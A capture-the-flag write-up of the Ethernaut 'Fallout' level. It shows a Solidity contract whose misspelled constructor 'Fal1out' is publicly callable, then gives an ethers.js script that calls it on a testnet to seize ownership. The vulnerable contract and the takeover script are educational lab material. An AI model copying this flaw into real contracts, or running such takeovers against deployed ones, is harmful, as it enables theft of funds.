Table of contents
The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.
This challenge tests the player's knowledge about how constructors work in solidity 0.60 and the player's attention to detail.
The challenge code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
The goal of this challenge is to take over the contract and become the new owner.
Upon reading through the contract, we will discover that we can do one thing:
- Call the Fal1out() function
In the earlier versions of solidity, there was no constructor functions and the way to write constructor is to use the same name of the contract to write a function and this function only runs once. Unfortunately in the above contract there was a typo in the function that looks like the name of the contract `Fal1out`, the name should have been Fallout. The implication of this error means that we can call the Fal1out function and the logic inside the function will make the player the new owner.
Solution
const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/Fallout.sol/Fallout.json");
const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);
const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);
(async () => {
// Fallout contract
const contract = new ethers.Contract(
"0x0c01C10E2793Cf0C71ee4395000b22839899d0B8",
abi.abi,
signer
);
// calling the Fal1out function in the Fallout contract
const ctx = await contract.Fal1out();
await ctx.wait();
})();
There are different pathways to execute this solution, but I will be using a script to provide a concise overview of the solution.
Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with the fallout contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.
All that is needed is to call the Fal1out function in the Fallout contract and the player is now the new owner of the contract.
Conclusion
Thank you for reading; I hope you have gained valuable insights from this explanation.